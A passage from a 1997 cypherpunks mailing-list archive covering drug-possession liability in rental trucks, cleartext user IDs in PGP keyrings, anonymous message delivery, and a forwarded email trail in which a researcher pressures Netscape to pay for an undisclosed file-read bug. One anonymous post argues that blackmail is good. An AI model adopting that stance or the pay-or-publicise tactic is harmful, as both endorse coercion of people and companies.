>whether a person or their property were damaged without their prior
>permission. Crimes should be a function of physical interaction and not
>some qualitative or even quantitative test. If it is a crime to do 100 of
>them then it should be a crime to do 1/10 (assuming it should be a crime
>in the first place).

This point I was trying to make was that the renter of property should not
be held resposable for "illegal" items that may be on that property
without his knowledge.

Since every truck I have ever rented included a physical inspection of the
truck (basically to note all the dents and dings that were already there)
it would be hard to say that you had no knowldge of the trailer being
filled with coke (well it would be easy to say but no one would beleive
you). Such inspections do not include checking ashtrays, cracks between
the seats, taking off the door pannels, ...ect and the renter should not
be held responcible unless it could be *proved* that he was the one that
put the items there and not someone else.

>I can see it now,

>"Sorry sir, we had to let him go. He only 1/4 raped her."

Now you are being silly and not to the point of the disscusion. This was
not about wether possession of a "roach" should be more or less legal than
100K of coke. The point was wether the renter should be held accountable
for possesion of "illegal" substances that he had no prior knowledge of.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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0wCKwtnmZsyz78nLJknJ+aGLs2VPZnLrwolAZA0M3RNE8Wr1nrJZ+oA17y/Xa898
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 10:01:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
Message-ID: <3.0.2.32.19970616183010.0074a894@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
>c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
>keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
>to go through most of the common places.
>
>The very same guy probably has a password that is:
	> [Dictionary attack on wimpy passphrases ]

With PGP 2.0 ... 4.0 secret keyring files, there's another attack.
(I don't know if PGP 5.0 files have this problem or not.)
You can't get the secret key itself from the password file without cracking 
the IDEA password (or algorithm), but the user-name is in cleartext.
	Joe Sixpack <jr6@aol.com>            0x98458509834295834098589...
	Joe Sixpack <purchasing@work.com>    0x34543905843f90853490545...
	Jane Doe #2 <janedoe2@nym.alias.net> 0x2d0e2d0e231415926535487...
	Lone Ranger <maskedman@dopedeal.com> 0x23dead5beef890832455345...
	TruthMunger <medusa@blacknet.gov>    0x27182818284590459024090...
	Arms Buyer  <getguns@freeburma.org>  0x08908024308732049872390...
If you've got pseudonyms as well as your real name, they show;
you've got all the usual risks of traffic analysis, outing, etc.	
and your secret identity is toast.  For most people, it's not a big risk,
but if you really _do_ need to keep your pseudonym untraceable,
this lets it leak out of your encrypted hard disk, which would be Bad.


					Publius





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 18 Jun 1997 00:22:19 +0800
To: Peter Trei <trei@process.com>
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <199706161546.IAA05715@toad.com>
Message-ID: <Pine.LNX.3.91.970616184448.515B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> They have not released their source code for independent 
> evaluation. I for one would feel a lot more comfortable with
> DESChall if there was at least some outside review, even if
> no general release is made.

I do not keep up with the various DES challenge efforts: Did DESChall 
ever give a reason for not releasing source code?
Has anyone tried reverse engineering the executable? 

Does anyone have statistics on how quick deschall is as opposed to, for 
example, Bryddes? If they haven`t released source code and it is 
significantly faster it may be they have further key schedule 
optimisations they do not wish to share.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 17 Jun 1997 07:37:22 +0800
To: cypherpunks@toad.com
Subject: If only...
Message-ID: <199706162302.TAA08923@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote: 
> At 07:10 PM 6/13/97 -0700, Tim May wrote:
> >>You mean they can license handguns, but not reporters???
> 
> >Indeed, it is strange. What part of "Congress shall make no law"
> >do they not understand?
> 
> the part between "Congress shall make no law" and "shall not be infringed"...

  If only they had written "Congress shall make no law." and left
it at that...

TM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 17 Jun 1997 07:39:48 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
Message-ID: <199706162303.TAA09004@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> I must side with Declan here, true, sometimes Declans articles show a
> subtle hint of insiderism <tm>, but I believe that is an inevitable
> consequence of working around people in D.C. who don`t want to be
> directly associated with certain statements, to quote them against their
> will would be journalistic suicide and would soon see Declan with no
> contacts whatsoever.

  The editor of the main newspeak print media for the area I live
in told me that their reporters are instructed to write their 
articles so as to be readable to someone with an eighth grade
education.
  I certainly do not envy Declan for being in the position of
having to make his articles readable for the people who are still
trying to find the "Any" key while trying not to leave the 
cypherpunks with the impression he's a fucking retard.

  *** Next Week ***
  Declan reveals who is buried in "Grant's Tomb."

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Tue, 17 Jun 1997 11:04:32 +0800
To: cypherpunks@cyberpass.net
Subject: Receiving Messages Anonymously
Message-ID: <v02140b01afcbb73285d2@[206.184.194.206]>
MIME-Version: 1.0
Content-Type: text/plain



Receiving anonymous messages is still an open problem.  The solutions
we have so far are cumbersome to operate.  They also depend on a chain
of machines remaining up and reliable for a long time, which is
expensive.

A quick solution is to use the list to send anonymous messages.  It is
inexpensive to tell if a message is encrypted for a key you control so
it is cheap to find messages you can read.

The nice thing about this solution is that it is quite difficult to
make a complete list of cypherpunk recipients given the multi-rooted
"tree" structure of the list.  There are leaves in many countries.
Even if every wire were tapped and tracked, it would be hard to
guarantee that people were not moving list traffic around on
diskettes.

To make filtering easy for people, I would suggest adding an
"X-Private-Message" field to the header.  For PGP messages, the
contents of this field could be "PGP-Key-Id:0xDEADBEEF".  (New formats
can be invented as new protocols are invented.)

Some people will object to this new form of "noise" message.  It
should be easy for somebody to set up a subsetted version of the list
which pre-filters the private messages.  (Although, how anybody can
read the raw list without a filter of their own is a mystery to me.)

A good reason to receive the complete list is that it conceals the
fact that you are receiving (or not receiving) anonymous messages.  If
you think you might ever in the future receive an anonymous message,
this will allow you to do so without revealing it.

This scheme could be attacked by actively intervening with the
propagation of the list and supplying people with different messages
depending on which branch of the "tree" they are on.  This could be
used successively to narrow the list of "suspects" receiving a certain
message.

There are two ways to prevent this.  One is to receive the list from
more than one source and compare the messages received.  If many
people are doing this, which is likely since each has a strong
motivation to detect this attack, then the first attempts should be
detected immediately.  The other method is to have a trusted person
post a signed list of message ids and checksums that have come down
the wire every day.

(Acknowledgement: This is probably a rehash of BlackNet.)

Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 17 Jun 1997 04:22:16 +0800
To: cypherpunks@toad.com
Subject: Re: eDrugs / Re: e$: Skins vs. Shirts
Message-ID: <199706161942.VAA03680@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Drug Monger wrote:
>> Wow. I actually understood all that...
>> The scent of the cogs is unmistakable hereabouts.
>
>  Hetting and Young both pass on a variety of highly informative and
>exceedingly normal, reality-based material for the most part. Then,
>out of the blue, they post Taoist-Kerouac, acid-flashback missives
>which indicate that the Orphan Zombies roaming the computer Nether-
>world have not yet managed to steal their souls.
>  Since John and Bob's psyche-meanderings often seem to occur within
>the same time-frame I have concluded that they both have the same
>drug connection.
>
>  So...did you bring enough for everybody?

That's the nice thing about data-based drugs -
just tear open this hypercard and look at the nice binary patterns,
and you can make lots of copies for your friends.

Do _you_ have the hacker nature?
<IMG HREF="http://www.blacknet.net/snowcrash.gif">
Do you _still_ have the hacker nature?

                 Raven









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 17 Jun 1997 13:13:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <199706170459.VAA17233@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



A few comments... 

Almost every non-trivial program which runs on a platform which does not
shield the OS from applications can be subverted to give access to the
target machine. 

This is hardly news.  The fact that a determined Dane with a debugger
managed to poke through the code and break something is neither
earth-shattering nor remarkable. 

In something the size of Netscape, I'm sure 999,999 exploits still remain. 
The company is hardly going to start writing checks every time someone
finds one of them.

Until all application software runs on secure virtual machines, or passes
bytecode verification and formal proofs of correctness, this problem will
continue to exist, not only in Netscape, but in every other large
application as well.

Big Yawn. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.net   $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Tue, 17 Jun 1997 13:15:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <3.0.2.32.19970616070059.0076d9c4@netcom13.netcom.com>
Message-ID: <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, Lucky Green wrote:

> At 05:02 PM 6/15/97 -0700, Rich Graves wrote:
[...]
> >Of course it probably helped that the guy was white, and probably
> >driving a "decent" car, and carrying "decent" guns and not some
> >"Saturday Night Special." 
> 
> The guy being white and educated may well have convinced the cop to not
> make a fuzz. My local newspaper recently ran an article about a few
> Hispanic looking folks who had some photographs of themselves holding guns
> in their hands developed at the supermarket. Before they even picked up the
> prints, the clerk had called the cops which in turn raided the unfortunate
> gun owners.
> 
> It turned out that the Hispanics owned the firearms legally.

I always knew you had a bleeding-heard liberal inside, just struggling to
come out. 

Yes, for some people, this is a police state. But the threat is not (just) 
the FBI/CIA/ATF/NSA; it's us. It's the people developing photos at the
supermarket who aren't comfortable with Hispanics and "ebonites" having
guns, and believe the police or TLAs should put a stop to it. Technical
capabilities don't oppress people; people do.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 17 Jun 1997 10:55:50 +0800
To: cypherpunks@toad.com
Subject: More about Netscape Bug finder
Message-ID: <v030209a4afcb8c31bbc6@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Mon, 16 Jun 1997 18:24:32 -0500
From: Bill GL Stafford <springco@arn.net>
Organization: Spring Management Company
MIME-Version: 1.0
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Subject: More about Netscape Bug finder
X-Priority: 3 (Normal)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Bill GL Stafford <springco@arn.net>

  Christian Orellana, gambled $1000 and lost.  Not the worst thing he could
have done.  Now the world knows how Netscape approaches a potential
crisis.  They did not panic although they may have come close to it.  I've
seen that much lost in a cloak room with a pot not near as big as Christian
sought. Anyway you look at it it's just a roll of the dice.Bill GL Stafford
springco@arn.net
 Wired Magazine on web
An Email Trail from Bug Spotter to
           Netscape
           6:01pm  13.Jun.97.PDT The following is a copy of the
           email exchange between Netscape officials and
           Christian Orellana, the Danish consultant who
           found the Netscape Navigator bug. A copy of the
           text was provided to Wired News by Netscape and
           appears unedited. Wired News has chosen not to
           publish Orellana's email address.
           Subject: Major security bug in Netscape
           Navigator 3 and 4
           Date: Mon, 9 Jun 1997 19:19:13 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           We have discovered a major security bug in
           Netscape Navigator 3.0, which remains uncorrected
           in the new Communicator release. The bug affects
           Navigator running on all platforms in the standard
           configuration.
           The bug allows access to any file on the clients file
           system, and does not affect Microsoft Internet
           Explorer.
           This bug is potentially very interesting to Netscape
           considering that the new release of Navigator is due
           in just three days.
           The bug has not previously been reported, and
           remains unknown to anyone but us (to the best of our
           knowledge). Please get back to us a.s.a.p. (before
           Netscape DevCon) if this knowledge is of any interest
           to you. You can reach me at the phone number
           below.
           I have tried to reach Netscape for a while now, and if
           Netscape remains uninterested in the issue I may
           contact some other interested parties.
           Yours sincerely,
           Christian Orellans [sic]
           ---
           Subject: Please confirm
           Date: Mon, 9 Jun 1997 20:14:08 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           Could you please confirm that you have received my
           previous letter.
           Also I would like to restate my claim that this is of the
           utmost importance for the upcoming launch of
           Communicator. The bug allows complete read access
           to the clients hard disk.
           Christian Orellana.
           ---
           Subject: Re: [Fwd: Major security bug in
           Netscape Navigator 3 and 4]
           Date: Mon, 09 Jun 1997 11:51:04 -0700
           From: edithg@netscape.com (Edith Gong)
           Organization: Netscape Communications
           To: Shannon Tracy , lalam@netscape.com
           References:
           <339C3C32.FE3F5683@netscape.com>
           Shannon,
           I don't know what else to do. Can someone in DSE
           contact this person to get the details by phone. We
           can't investigate until we understand what the issue is.
           I'll see if someone in tech support can contact the
           customer
           Edith
           ---
           Subject: Re: Please confirm
           Date: Mon, 09 Jun 1997 12:00:03 -0700
           From: Shannon Tracy
           Organization: Netscape Communications
           To: Christian Orellana
           References:
           Dear Christian Orellana:
           Yes, I received your message. The project manager
           just responded that they are trying to find someone to
           contact you, however, we can't investigate until we
           understand what the issue is. Can you please furnish
           a few additional details so that we know who best
           might be able to handle this situation?
           Thanks,
           Shannon Tracy
           ---
           Subject: Re: Please confirm
           Date: Mon, 9 Jun 1997 21:11:44 +0200
           From: Christian Orellana
           To: stracy@netscape.com (Shannon Tracy)
           References:
           Dear Shannon.
           In short the first version of the bug I had up and
           running allowed me to get any file whose path I knew
           on the clients hard disk. I just got another version up
           and running, and considering that the location of
           quite a few files on a typical windows/mac/unix
           installation is pretty well known, it should be no
           surprise that this new version can actually scan the
           clients harddisk for specific files, and download them.
           I can not reveal much more detail, without giving
           away the bug, which I will not do, since I think this
           information is so valuable to Netscape that it should
           be worth a good deal of money. The information is
           certainly worth a bit on the free market, and I am
           currently awaiting responses from other parties.
           In other words I think the person most suited for
           handling this, is someone in charge of the company
           check book (-;
           Regards - Christian
           ---
           Subject: final note on Navigator bug
           Date: Mon, 9 Jun 1997 23:07:59 +0200
           From: Christian Orellana
           To: stracy@netscape.com (Shannon Tracy)
           Netscape:
           I think my approach to you on this subject has been
           fair and serious. I am offering you a piece of
           information that I consider of very high value. The
           implications of the bug mentioned in previous emails
           are immense.
           Considering the widespread use of home-banking
           software, not to mention the impact on multiuser
           systems in the government and corporate sector, like
           unix and NT environments, where access to the
           encrypted password-files would render the systems
           extremely vulnerable, I think all pre Communicator
           versions of Navigator (supposing you fix the bug in
           Communicator) would be pretty useless. I will leave it
           to you to estimate what impact that would have on
           Netscape stocks.
           I have to inform you that David Gross at CNN is on
           hold with the news, and is only waiting for me to give
           him the final demonstration, to verify the bug.
           I must also inform you that CNN is not the only
           interested party, and that I will consider my options
           once I get Netscape's standpoint on the matter.
           I would be more than happy to give a demonstration
           of the bug, under controlled circumstances, but we
           would have to sign some sort of agreement first.
           Regards, Christian Orellana.
           ---
           Subject: Re: [Fwd: Major security bug in
           Netscape Navigator 3 and 4]
           Date: Thu, 12 Jun 1997 16:40:33 -0700
           From:chrish@netscape.com (Chris Holten)
           Organization: Netscape Communications
           To:chrish@netscape.com
           References: 1
           Subject: Major security bug in Netscape
           Navigator 3 and 4
           Date: Mon, 9 Jun 1997 19:19:13 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           We have discovered a major security bug in
           Netscape Navigator 3.0, which remains uncorrected
           in the new Communicator release. The bug affects
           Navigator running on all platforms in the standard
           configuration. The bug allows access to any file on
           the clients file system, and does not affect Microsoft
           Internet Explorer.
           This bug is potentially very interesting to Netscape
           considering that the new release of Navigator is due
           in just three days.
           The bug has not previously been reported, and
           remains unknown to anyone but us (to the best of our
           knowledge).
           Please get back to us a.s.a.p. (before Netscape
           DevCon) if this knowledge is of any interest to you.
           You can reach me at the phone number below.
           I have tried to reach Netscape for a while now, and if
           Netscape remains uninterested in the issue I may
           contact some other interested parties.
           Yours sincerely,
           Christian Orellans
           ---
           Subject: Please confirm
           Date: Mon, 9 Jun 1997 20:14:08 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           Could you please confirm that you have received my
           previous letter.
           Also I would like to restate my claim that this is of the
           utmost importance for the upcoming launch of
           Communicator. The bug allows complete read access
           to the clients hard disk.
           Christian Orellana.
  For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 17 Jun 1997 15:43:11 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615172709.19288B-100000@cp.pathfinder.com>
Message-ID: <v03007880afcbdc79c88f@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:09 PM -0700 6/15/97, Tim May wrote:
>One way they buy people--very reminiscent of the methods used to recruit
>spies--is to feed reporters with information they can't get anywhere else,
>and swear them to secrecy. This ties them up in complicated webs of trust,
>mistrust, and deceit, and makes the reporters more dependent on them for
>future stories.

All reporters should carefully consider the example of I. F. Stone.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 14:50:22 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.LNX.3.91.970616112023.236B-100000@fatmans.demon.co.uk>
Message-ID: <3.0.2.32.19970616233000.0075a9f4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 AM 6/16/97 -0700, Tim May wrote:
>I wish Declan well, really. But his frequent name-dropping about soirees
>he's been invited to, bigwigs he's had power lunches with...well, I think
>the evolution has been set in motion. 

Foo ...  On a list with several millionares, people who make the 
New York Times Magazine cover, people who get in the Times for
successfully suing the NSA, college students who get covered on
National Public Radio, people who were in Wired before it was c001,
people who drop in on Esther in New York because they'll be too 
busy to see her at Hackers', people who were Xanadudes or SGML hackers
decades before the Web caught on, people who were on the Well
before that Grateful Dead lyricist got there, various wizards of
speed and time, folks who have Japanese tv crews show up for their parties
and already know Tim Leary when he drops... by, I'd say we have enough
people who are or know Silicon Valley insiders to really complain much
when people from the Other Coast talk about who _they_ had lunch with :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 15:13:22 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>
Message-ID: <199706170706.CAA31285@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>, on
06/16/97 
   at 10:04 PM, Rich Graves <rcgraves@disposable.com> said:


>On Mon, 16 Jun 1997, Lucky Green wrote:

>> At 05:02 PM 6/15/97 -0700, Rich Graves wrote:
>[...]
>> >Of course it probably helped that the guy was white, and probably
>> >driving a "decent" car, and carrying "decent" guns and not some
>> >"Saturday Night Special." 
>> 
>> The guy being white and educated may well have convinced the cop to not
>> make a fuzz. My local newspaper recently ran an article about a few
>> Hispanic looking folks who had some photographs of themselves holding guns
>> in their hands developed at the supermarket. Before they even picked up the
>> prints, the clerk had called the cops which in turn raided the unfortunate
>> gun owners.
>> 
>> It turned out that the Hispanics owned the firearms legally.

>I always knew you had a bleeding-heard liberal inside, just struggling to
>come out. 

>Yes, for some people, this is a police state. But the threat is not
>(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
>at the supermarket who aren't comfortable with Hispanics and "ebonites"
>having guns, and believe the police or TLAs should put a stop to it.
>Technical capabilities don't oppress people; people do.

If it wasn't for the fact that we *are* living in a police state the
opions of a supermarket clerk would not be relevant.

If we were living in a Constutional democracy where the TLAs had to abide
by the laws of the land then the gestapo would have never even though of
raiding the Hispanic gun owners.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Tue, 17 Jun 1997 15:44:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <199706170706.CAA31285@mailhub.amaranth.com>
Message-ID: <Pine.GUL.3.95.970617002359.19769C-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 17 Jun 1997, William H. Geiger III wrote:

> In <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>, on
> 06/16/97 at 10:04 PM, Rich Graves <rcgraves@disposable.com> said:
> 
> >Yes, for some people, this is a police state. But the threat is not
> >(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
> >at the supermarket who aren't comfortable with Hispanics and "ebonites"
> >having guns, and believe the police or TLAs should put a stop to it.
> >Technical capabilities don't oppress people; people do.
> 
> If it wasn't for the fact that we *are* living in a police state the
> opions of a supermarket clerk would not be relevant.
> 
> If we were living in a Constutional democracy where the TLAs had to abide
> by the laws of the land then the gestapo would have never even though of
> raiding the Hispanic gun owners.

What Gestapo? Lucky Green didn't tell the whole story, but it was my
impression he was talking about the local police or sheriff. They had local
police and sheriffs lo those glorious days of freedom of the antebellum
South, too. How else you expect people to protect their property? A man
can't stay awake watching for looters 24 hours a day, or if he does, he's
liable to start hallucinating and wasting ammunition. Gun control means
being able to keep your eyes open and shoot straight.

- -rich
 http://www.stanford.edu/~llurch/

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 17 Jun 1997 13:22:34 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <199706162249.RAA24929@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970617010815.5659A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, William H. Geiger III wrote:

> If I went and rented a truck and there was a "roach" in the ashtray I
> should not be held accountable for possesion unless it could be proved
> that it was mine and not from someone else that had used the truck or even
> a worker at the retal shop.

But if you drive for several miles, and get pulled over for speeding, the
fact that it's still in the truck is probably going to land you in jail,
if the cop finds some reason to search the truck.  (The smell of marijuana
or seeing the roach sitting the ashtray are valid reasons I believe)

If you haven't disposed of it, you're probably going to land in jail.
>From the law enforcement's point of view, can you see any difference
between your story and that of a person who's actually smoking?  (Honest
officer, it was in the truck when I got in!)  the evidence is there, and
you'll probably need to depend on character witnesses to get out of a
conviction...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 17 Jun 1997 09:42:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Homer on Terrorism
Message-ID: <19970617011917.5241.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Of course it was blackmail.  The reason people are confused about this is
they assume that blackmail is bad.

Blackmail is good.  The alternative is releasing the damaging information.
Blackmail gives the person who has something to hide a chance to keep the
information quiet.  He has more options than he would have in a system
where blackmail was impossible.

Laws against blackmail are even more senseless than laws against libel.
In the case of blackmail, the supposed victim is asking not to be allowed
to take actions which are in his own self interest, a classic case of protecting
someone from himself.

Fortunately, cryptography will liberate blackmail just as it will other forms
of communications.

BlackMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 17 Jun 1997 17:02:36 +0800
To: cypherpunks@toad.com
Subject: McVeigh Sentence
Message-ID: <199706170849.BAA28709@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  I was watching Dateline NBC interview the McVeigh jurors about the
trial and the interviewer asked them what they found to be the strongest
or most convincing evidence against McVeigh.
  A grandmotherly type answered that the most convincing of the evidence
against him was the pictures of the dead bodies.
  Perhaps the prosecution could have gotten McVeigh convicted on even
more charges if he had shown some pictures of heroin.

  I also watched McVeigh's lawyer give a statement that sounded like it
was prepared for him by the Whitehouse spin doctors.
  From the very first, right through to the end of the trial, I had the
feeling that McVeigh's lawyer seemed to be more of a spokesperson than
a lawyer. I've had lawyers show more skill and ferver in keeping my
dog out of the pound than he showed defending McVeigh.
  I don't know what exactly he was being paid $15 million for, but it
sure as hell wasn't for defending McVeigh. Even when he speaks about
the judge not allowing him to put on a real defense he acts like it's
just a minor matter of no real import.

  The only mystery in the trial was whether McVeigh was part of the
great pretense taking place or if he really thought his lawyer was
working in his best interests. I suspect that he's just naieve.
  I wouldn't place any large bets on MvVeigh living long enough to take
part in an Oklahoma City trial if that ever happens. The political
interests down there want more than just a showcase trial--they want
to find out the real story. Unless they get bought off or blackmailed
the Feds are going to have to bring Jack Ruby out of retirement.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 15:53:06 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <Pine.GSO.3.95.970617010815.5659A-100000@ece>
Message-ID: <199706170746.CAA31615@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970617010815.5659A-100000@ece>, on 06/17/97 
   at 12:14 AM, Ryan Anderson <randerso@ece.eng.wayne.edu> said:

>On Mon, 16 Jun 1997, William H. Geiger III wrote:

>> If I went and rented a truck and there was a "roach" in the ashtray I
>> should not be held accountable for possesion unless it could be proved
>> that it was mine and not from someone else that had used the truck or even
>> a worker at the retal shop.

>But if you drive for several miles, and get pulled over for speeding, the
>fact that it's still in the truck is probably going to land you in jail,
>if the cop finds some reason to search the truck.  (The smell of
>marijuana or seeing the roach sitting the ashtray are valid reasons I
>believe)

>If you haven't disposed of it, you're probably going to land in jail.
>>From the law enforcement's point of view, can you see any difference
>between your story and that of a person who's actually smoking?  (Honest
>officer, it was in the truck when I got in!)  the evidence is there, and
>you'll probably need to depend on character witnesses to get out of a
>conviction...

Well usually when someone gets nailed on somthing like this its in their
own vehicle. I would think that with it being a rental that one would have
plausible deniability and additional evidence would be required.

Ofcource if when you roll down the window a big cloud of some rolls out
(ala cheech & chong) that's another matter. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 16:03:27 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <Pine.GUL.3.95.970617002359.19769C-100000@Networking.Stanford.EDU>
Message-ID: <199706170758.CAA31715@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



